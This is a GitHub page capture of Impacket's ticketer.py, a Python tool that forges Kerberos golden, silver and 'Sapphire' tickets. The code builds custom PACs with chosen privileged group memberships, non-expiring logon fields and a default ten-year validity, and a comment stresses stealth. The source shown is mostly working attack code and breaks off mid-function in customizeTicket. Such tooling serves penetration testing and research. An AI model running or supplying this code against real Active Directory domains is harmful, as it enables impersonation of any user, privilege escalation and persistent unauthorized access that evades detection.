forked from fortra/impacket
-
Notifications
You must be signed in to change notification settings - Fork 0
/
ticketer.py
executable file
·1244 lines (1052 loc) · 61.9 KB
/
ticketer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC)
# allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the
# groups, extrasids, etc.
# Tickets duration is fixed to 10 years from now (although you can manually change it)
#
# Examples:
# ./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
#
# will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.
# If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256
# (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as
# baduser.ccache.
#
# ./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN>
# -request -user <a valid domain user> -password <valid domain user's password> baduser
#
# will first authenticate against the KDC (using -user/-password) and get a TGT that will be used
# as template for customization. Whatever encryption algorithms used on that ticket will be honored,
# hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved
# as baduser.ccache.
#
# Author:
# Alberto Solino (@agsolino)
#
# References:
# - Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash:
# (https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it)
# - Original implementation by Benjamin Delpy (@gentilkiwi) in mimikatz
# (https://github.com/gentilkiwi/mimikatz)
#
# ToDo:
# [X] Silver tickets still not implemented - DONE by @machosec and fixes by @br4nsh
# [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC
#
from __future__ import division
from __future__ import print_function
import argparse
import datetime
import logging
import random
import string
import struct
import sys
from calendar import timegm
from time import strptime
from binascii import unhexlify
from six import b
from pyasn1.codec.der import encoder, decoder
from pyasn1.type.univ import noValue
from impacket import version
from impacket.dcerpc.v5.dtypes import RPC_SID, SID
from impacket.dcerpc.v5.ndr import NDRULONG
from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
from impacket.examples import logger
from impacket.krb5.asn1 import AS_REP, TGS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart, EncTGSRepPart, AD_IF_RELEVANT
from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \
PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \
KERB_NON_KERB_CKSUM_SALT
from impacket.krb5.keytab import Keytab
from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.crypto import _checksum_table, Enctype
from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \
VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO, UPN_DNS_INFO_FULL, PAC_REQUESTOR_INFO, PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR, \
PAC_ATTRIBUTE_INFO
from impacket.krb5.types import KerberosTime, Principal
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants, pac
from impacket.krb5.asn1 import AP_REQ, TGS_REQ, Authenticator, seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1
from impacket.krb5.crypto import _HMACMD5, _AES256CTS, string_to_key
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.types import Ticket
from impacket.winregistry import hexdump
class TICKETER:
def __init__(self, target, password, domain, options):
self.__password = password
self.__target = target
self.__domain = domain
self.__options = options
self.__tgt = None
self.__tgt_session_key = None
if options.spn:
spn = options.spn.split('/')
self.__service = spn[0]
self.__server = spn[1]
if options.keytab is not None:
self.loadKeysFromKeytab(options.keytab)
# we are creating a golden ticket
else:
self.__service = 'krbtgt'
self.__server = self.__domain
@staticmethod
def getFileTime(t):
t *= 10000000
t += 116444736000000000
return t
@staticmethod
def getPadLength(data_length):
return ((data_length + 7) // 8 * 8) - data_length
@staticmethod
def getBlockLength(data_length):
return (data_length + 7) // 8 * 8
def loadKeysFromKeytab(self, filename):
keytab = Keytab.loadFile(filename)
keyblock = keytab.getKey("%s@%s" % (options.spn, self.__domain))
if keyblock:
if keyblock["keytype"] == Enctype.AES256 or keyblock["keytype"] == Enctype.AES128:
options.aesKey = keyblock.hexlifiedValue()
elif keyblock["keytype"] == Enctype.RC4:
options.nthash = keyblock.hexlifiedValue()
else:
logging.warning("No matching key for SPN '%s' in given keytab found!", options.spn)
def createBasicValidationInfo(self):
# 1) KERB_VALIDATION_INFO
kerbdata = KERB_VALIDATION_INFO()
aTime = timegm(datetime.datetime.now(datetime.timezone.utc).timetuple())
unixTime = self.getFileTime(aTime)
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__target
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 500
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = int(self.__options.user_id)
# Our Golden Well-known groups! :)
groups = self.__options.groups.split(',')
if len(groups) == 0:
# PrimaryGroupId must be set, default to 513 (Domain User)
kerbdata['PrimaryGroupId'] = 513
else:
# Using first group as primary group
kerbdata['PrimaryGroupId'] = int(groups[0])
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = int(group)
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata['UserSessionKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain.upper()
kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid)
kerbdata['LMKey'] = b'\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = VALIDATION_INFO()
validationInfo['Data'] = kerbdata
return validationInfo
def createBasicPac(self, kdcRep):
validationInfo = self.createBasicValidationInfo()
pacInfos = {}
pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents()
srvCheckSum = PAC_SIGNATURE_DATA()
privCheckSum = PAC_SIGNATURE_DATA()
if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
srvCheckSum['Signature'] = b'\x00' * 16
privCheckSum['Signature'] = b'\x00' * 16
else:
srvCheckSum['Signature'] = b'\x00' * 12
privCheckSum['Signature'] = b'\x00' * 12
if len(self.__options.aesKey) == 64:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
else:
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData()
pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData()
clientInfo = PAC_CLIENT_INFO()
clientInfo['Name'] = self.__target.encode('utf-16le')
clientInfo['NameLength'] = len(clientInfo['Name'])
pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData()
if self.__options.extra_pac:
self.createUpnDnsPac(pacInfos)
if self.__options.old_pac is False:
self.createAttributesInfoPac(pacInfos)
self.createRequestorInfoPac(pacInfos)
return pacInfos
def createUpnDnsPac(self, pacInfos):
upnDnsInfo = UPN_DNS_INFO_FULL()
PAC_pad = b'\x00' * self.getPadLength(len(upnDnsInfo))
upn_data = f"{self.__target.lower()}@{self.__domain.lower()}".encode("utf-16-le")
upnDnsInfo['UpnLength'] = len(upn_data)
upnDnsInfo['UpnOffset'] = len(upnDnsInfo) + len(PAC_pad)
total_len = upnDnsInfo['UpnOffset'] + upnDnsInfo['UpnLength']
pad = self.getPadLength(total_len)
upn_data += b'\x00' * pad
dns_name = self.__domain.upper().encode("utf-16-le")
upnDnsInfo['DnsDomainNameLength'] = len(dns_name)
upnDnsInfo['DnsDomainNameOffset'] = total_len + pad
total_len = upnDnsInfo['DnsDomainNameOffset'] + upnDnsInfo['DnsDomainNameLength']
pad = self.getPadLength(total_len)
dns_name += b'\x00' * pad
# Enable additional data mode (Sam + SID)
upnDnsInfo['Flags'] = 2
samName = self.__target.encode("utf-16-le")
upnDnsInfo['SamNameLength'] = len(samName)
upnDnsInfo['SamNameOffset'] = total_len + pad
total_len = upnDnsInfo['SamNameOffset'] + upnDnsInfo['SamNameLength']
pad = self.getPadLength(total_len)
samName += b'\x00' * pad
user_sid = SID()
user_sid.fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}")
upnDnsInfo['SidLength'] = len(user_sid)
upnDnsInfo['SidOffset'] = total_len + pad
total_len = upnDnsInfo['SidOffset'] + upnDnsInfo['SidLength']
pad = self.getPadLength(total_len)
user_data = user_sid.getData() + b'\x00' * pad
# Post-PAC data
post_pac_data = upn_data + dns_name + samName + user_data
# Pac data building
pacInfos[PAC_UPN_DNS_INFO] = upnDnsInfo.getData() + PAC_pad + post_pac_data
@staticmethod
def createAttributesInfoPac(pacInfos):
pacAttributes = PAC_ATTRIBUTE_INFO()
pacAttributes["FlagsLength"] = 2
pacAttributes["Flags"] = 1
pacInfos[PAC_ATTRIBUTES_INFO] = pacAttributes.getData()
def createRequestorInfoPac(self, pacInfos):
pacRequestor = PAC_REQUESTOR()
pacRequestor['UserSid'] = SID()
pacRequestor['UserSid'].fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}")
pacInfos[PAC_REQUESTOR_INFO] = pacRequestor.getData()
def createBasicTicket(self):
if self.__options.request is True:
if self.__domain == self.__server:
logging.info('Requesting TGT to target domain to use as basis')
else:
logging.info('Requesting TGT/TGS to target domain to use as basis')
if self.__options.hashes is not None:
lmhash, nthash = self.__options.hashes.split(':')
else:
lmhash = ''
nthash = ''
userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
unhexlify(lmhash), unhexlify(nthash), None,
self.__options.dc_ip)
self.__tgt, self.__tgt_cipher, self.__tgt_session_key = tgt, cipher, sessionKey
if self.__domain == self.__server:
kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
else:
serverName = Principal(self.__options.spn, type=PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain, None, tgt, cipher,
sessionKey)
kdcRep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
# Let's check we have all the necessary data based on the ciphers used. Boring checks
ticketCipher = int(kdcRep['ticket']['enc-part']['etype'])
encPartCipher = int(kdcRep['enc-part']['etype'])
if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \
self.__options.nthash is None:
logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. '
'Can\'t continue ( or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
self.__options.aesKey is None:
logging.critical(
'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
self.__options.aesKey is not None and len(self.__options.aesKey) > 32:
logging.critical(
'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None:
logging.critical(
'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
'Can\'t continue (or try running again w/o the -request option)')
return None, None
if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \
self.__options.aesKey is not None and len(self.__options.aesKey) < 64:
logging.critical(
'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. '
'Can\'t continue')
return None, None
kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['cname']['name-string'] = noValue
kdcRep['cname']['name-string'][0] = self.__options.impersonate or self.__target
else:
logging.info('Creating basic skeleton ticket and PAC Infos')
if self.__domain == self.__server:
kdcRep = AS_REP()
kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value
else:
kdcRep = TGS_REP()
kdcRep['msg-type'] = ApplicationTagNumbers.TGS_REP.value
kdcRep['pvno'] = 5
if self.__options.nthash is None:
kdcRep['padata'] = noValue
kdcRep['padata'][0] = noValue
kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value
etype2 = ETYPE_INFO2()
etype2[0] = noValue
if len(self.__options.aesKey) == 64:
etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
else:
etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target)
encodedEtype2 = encoder.encode(etype2)
kdcRep['padata'][0]['padata-value'] = encodedEtype2
kdcRep['crealm'] = self.__domain.upper()
kdcRep['cname'] = noValue
kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['cname']['name-string'] = noValue
kdcRep['cname']['name-string'][0] = self.__target
kdcRep['ticket'] = noValue
kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value
kdcRep['ticket']['realm'] = self.__domain.upper()
kdcRep['ticket']['sname'] = noValue
kdcRep['ticket']['sname']['name-string'] = noValue
kdcRep['ticket']['sname']['name-string'][0] = self.__service
if self.__domain == self.__server:
kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_SRV_INST.value
kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper()
else:
kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
kdcRep['ticket']['sname']['name-string'][1] = self.__server
kdcRep['ticket']['enc-part'] = noValue
kdcRep['ticket']['enc-part']['kvno'] = 2
kdcRep['enc-part'] = noValue
if self.__options.nthash is None:
if len(self.__options.aesKey) == 64:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
else:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
else:
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
kdcRep['enc-part']['kvno'] = 2
kdcRep['enc-part']['cipher'] = noValue
pacInfos = self.createBasicPac(kdcRep)
return kdcRep, pacInfos
def getKerberosS4U2SelfU2U(self):
tgt = self.__tgt
cipher = self.__tgt_cipher
sessionKey = self.__tgt_session_key
kdcHost = self.__options.dc_ip
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.now(datetime.timezone.utc)
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug('AUTHENTICATOR')
print(authenticator.prettyPrint())
print('\n')
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service
# requests a service ticket to itself on behalf of a user. The user is
# identified to the KDC by the user's name and realm.
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('S4UByteArray')
hexdump(S4UByteArray)
# Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash
# with the following three parameters: the session key of the TGT of
# the service performing the S4U2Self request, the message type value
# of 17, and the byte array S4UByteArray.
checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray)
if logging.getLogger().level == logging.DEBUG:
logging.debug('CheckSum')
hexdump(checkSum)
paForUserEnc = PA_FOR_USER_ENC()
seq_set(paForUserEnc, 'userName', clientName.components_to_asn1)
paForUserEnc['userRealm'] = self.__domain
paForUserEnc['cksum'] = noValue
paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value)
paForUserEnc['cksum']['checksum'] = checkSum
paForUserEnc['auth-package'] = 'Kerberos'
if logging.getLogger().level == logging.DEBUG:
logging.debug('PA_FOR_USER_ENC')
print(paForUserEnc.prettyPrint())
encodedPaForUserEnc = encoder.encode(paForUserEnc)
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value)
tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
serverName = Principal(self.__options.user, self.__options.domain, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),))
if logging.getLogger().level == logging.DEBUG:
logging.debug('Final TGS')
print(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
r = sendReceive(message, self.__domain, kdcHost)
return r, None, sessionKey, None
def customizeTicket(self, kdcRep, pacInfos):
logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))
ticketDuration = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(hours=int(self.__options.duration))
if self.__options.impersonate:
# Doing Sapphire Ticket
# todo : in its actual form, ticketer is limited to the PAC structures that are supported in impacket.
# Unsupported structures will be ignored. The PAC is not completely copy-pasted here.
# 1. S4U2Self + U2U
logging.info('\tRequesting S4U2self+U2U to obtain %s\'s PAC' % self.__options.impersonate)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosS4U2SelfU2U()
# 2. extract PAC
logging.info('\tDecrypting ticket & extracting PAC')
decodedTicket = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
cipherText = decodedTicket['ticket']['enc-part']['cipher']
newCipher = _enctype_table[int(decodedTicket['ticket']['enc-part']['etype'])]
plainText = newCipher.decrypt(self.__tgt_session_key, 2, cipherText)
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
# Let's extend the ticket's validity a lil bit
# I don't think this part should be left in the code. The whole point of doing a sapphire ticket is stealth, extending ticket duration is not the way to go
# encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
# encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
# Opening PAC
adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0]
pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets())
pacInfos = dict()
buff = pacType['Buffers']
# clearing the signatures so that we can sign&encrypt later on
AttributesInfoPacInS4UU2UPAC = False
RequestorInfoPacInS4UU2UPAC = False
logging.info("\tClearing signatures")
for bufferN in range(pacType['cBuffers']):
infoBuffer = pac.PAC_INFO_BUFFER(buff)
data = pacType['Buffers'][infoBuffer['Offset'] - 8:][:infoBuffer['cbBufferSize']]
buff = buff[len(infoBuffer):]
if infoBuffer['ulType'] in [PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM]:
checksum = PAC_SIGNATURE_DATA(data)
if checksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes256.value:
checksum['Signature'] = '\x00' * 12
elif checksum['SignatureType'] == ChecksumTypes.hmac_sha1_96_aes128.value:
checksum['Signature'] = '\x00' * 12
else:
checksum['Signature'] = '\x00' * 16
